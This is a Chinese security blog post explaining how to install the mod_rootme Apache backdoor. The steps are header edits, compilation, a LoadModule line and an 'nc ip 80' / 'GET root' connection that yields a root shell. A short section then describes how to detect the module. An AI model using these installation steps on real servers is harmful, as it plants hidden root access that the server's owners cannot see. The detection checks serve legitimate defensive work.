linux 端口复用后门,Apache端口复用后门 | CN-SEC 中文网

摘要

Apache2.5

利用方式

先修改后门的里面的httpd22.h文件,不修改的话,在apache启动的时候会报错

测试环境

CentOSx64 6.5

Apache2.5

利用方式

先修改后门的里面的httpd22.h文件,不修改的话,在apache启动的时候会报错

将: #define MODULE_MAGIC_COOKIE 0x41503230UL 改为: #define MODULE_MAGIC_COOKIE 0x41503232UL 将: #define MODULE_MAGIC_NUMBER_MAJOR 20020903 改为: #define MODULE_MAGIC_NUMBER_MAJOR 20051115

然后保存。输入make linux进行编译

29606e92e7e30cb853c2cf042d6a356a.png

然后修改/etc/httpd/conf/httpd.conf

添加 LoadModule rootme22_module modules/mod_rootme22.so 加载这个模块。

然后启动apache

然后使用就可以连接80端口 nc ip 80 然后输入GET root

1101742e5c5b2a088e658a4642d83341.png

成功获取shell

0x02 检测方式

1.通过ps -ef grep httpd 可以看到有root用户使用的httpd子进程

1095dbcb7601b26551e332209cc9a8f2.png

然后可以进一步去查看apache配置文件

2.通过

ps -ef | grep http | head -n 1 | awk '{system("ls -l /proc/"$2"/fd")}' | grep pipe | wc -l

正常情况下是64,加载了mod_rootme后是66

3.在web目录下写个phpinfo看是否加载了mod_rootme模块

作者:Tomato

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值